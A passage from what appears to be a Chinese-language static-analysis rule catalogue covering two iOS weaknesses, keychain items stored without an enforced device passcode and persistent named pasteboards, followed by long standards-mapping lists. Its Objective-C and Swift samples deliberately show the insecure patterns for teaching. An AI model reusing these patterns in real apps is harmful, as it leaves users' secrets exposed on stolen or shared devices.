如果密钥链项目采用诸如 kSecAttrAccessibleWhenUnlocked 等较安全的策略存储,那么如果您的设备在设置了密码的情况下被盗,则盗窃者需要解锁设备才能将密钥链项目解除锁定。如果无法输入正确的密码,盗窃者便无法解密密钥链项目。但是,如果没有设置密码,则攻击者只需滑动手指即可对设备解除锁定,并获得密钥链来解密其项目。因此,如果不强制要求为设备设置密码,则可能会削弱密钥链加密机制的安全性。

示例 1:在以下示例中,除了设备处于打开或解除锁定状态时,密钥链项目始终受保护,但在设备未设置密码时密钥链项目也处于可用状态:


...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

// Configure KeyChain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
[dict setObject:(__bridge id)kSecAttrAccessibleWhenUnlockedThisDeviceOnly forKey:(__bridge id) kSecAttrAccessible];

OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - Common Weakness Enumeration CWE ID 311, CWE ID 312, CWE ID 313, CWE ID 522
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001350, CCI-002475
[12] Standards Mapping - FIPS200 MP
[13] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), SC-28 Protection of Information at Rest (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, SC-28 Protection of Information at Rest
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[18] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[20] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[21] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[23] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[25] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.objc.insecure_storage_passcode_policy_unenforced
Abstract
该方法可将数据存储到密钥链中,但不强制用户为其设备设置密码。
Explanation
密钥链可访问性级别定义了密钥链项目可在何时解密以供应用程序使用。可用的可访问性级别如下所示:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新启动后,将无法访问密钥链项目中的数据,直到用户将设备解除锁定一次。
第一次解除锁定后,数据将保持可访问状态,直到下次重新启动。推荐将此属性用于需要由后台应用程序访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleAlways:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目在使用加密备份时会迁移到新设备。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
只能在设备解除锁定时访问密钥链中的数据。仅在设备上设置了密码时可用。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。将备份恢复到新设备后,这些项目将丢失。不能在没有密码的设备上的此类中存储任何项目。禁用设备密码将会删除此类中的所有项目。
在 iOS 8.0 和更高版本中可用。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlocked:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目在使用加密备份时会迁移到新设备。
这是在没有明确设置可访问性常量的情况下添加密钥链项目时的默认值。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

如果密钥链项目采用诸如 kSecAttrAccessibleWhenUnlocked 等较安全的策略存储,那么如果您的设备在设置了密码的情况下被盗,则盗窃者需要解锁设备才能将密钥链项目解除锁定。如果无法输入正确的密码,盗窃者便无法解密密钥链项目。但是,如果没有设置密码,则攻击者只需滑动手指即可对设备解除锁定,并获得密钥链来解密其项目。因此,如果不强制要求为设备设置密码,则可能会削弱密钥链加密机制的安全性。

示例 1:在以下示例中,除了设备处于打开或解除锁定状态时,密钥链项目始终受保护,但在设备未设置密码时密钥链项目也处于可用状态:


...
// Configure KeyChain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
...
query[kSecAttrAccessible as String] = kSecAttrAccessibleWhenUnlockedThisDeviceOnly

SecItemAdd(query as CFDictionary, nil)
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - Common Weakness Enumeration CWE ID 311, CWE ID 312, CWE ID 313, CWE ID 522
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001350, CCI-002475
[12] Standards Mapping - FIPS200 MP
[13] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), SC-28 Protection of Information at Rest (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, SC-28 Protection of Information at Rest
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[18] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[20] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[21] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[23] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[25] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.swift.insecure_storage_passcode_policy_unenforced
Abstract
配置为永久的命名粘贴板可能会导致敏感信息泄露。
Explanation
命名粘贴板使开发人员能够与应用程序的其他部分或具有相同团队 ID 的其他应用程序共享数据。将命名粘贴板配置为永久的功能已弃用,其可能会导致敏感数据泄露。当粘贴板被标记为永久时,存储在粘贴板中的数据可能会以未加密的方式保存在本地存储,且会在应用程序和设备重启时永久存在。
示例 1:在以下示例中,通过调用 setPersistent:YES 创建命名粘贴板并将其配置为永久。

...
UIPasteboard *pasteboard = [UIPasteboard pasteboardWithName:@"myPasteboard" create:YES];
[pasteboard setPersistent:YES];
...
References
[1] setPersistent: | Apple Developer Documentation Apple
[2] iOS Platform APIs - OWASP Mobile Application Security OWASP
[3] Standards Mapping - Common Weakness Enumeration CWE ID 312, CWE ID 359
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[16] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[17] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[18] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[20] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.objc.insecure_storage_persistent_named_pasteboard
Abstract
配置为永久的命名粘贴板可能会导致敏感信息泄露。
Explanation
命名粘贴板使开发人员能够与应用程序的其他部分或具有相同团队 ID 的其他应用程序共享数据。将命名粘贴板配置为永久的功能已弃用,其可能会导致敏感数据泄露。当粘贴板被标记为永久时,存储在粘贴板中的数据可能会以未加密的方式保存在本地存储,且会在应用程序和设备重启时永久存在。
示例 1:在以下示例中,通过调用 setPersistent(true) 创建命名粘贴板并将其配置为永久。

...
let pasteboard = UIPasteboard(name: UIPasteboard.Name(rawValue: "myPasteboard"), create: true)!
pasteboard.setPersistent(true)
...
References
[1] setPersistent(_:) | Apple Developer Documentation Apple
[2] iOS Platform APIs - OWASP Mobile Application Security OWASP
[3] Standards Mapping - Common Weakness Enumeration CWE ID 312, CWE ID 359
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[16] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[17] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[18] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[20] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
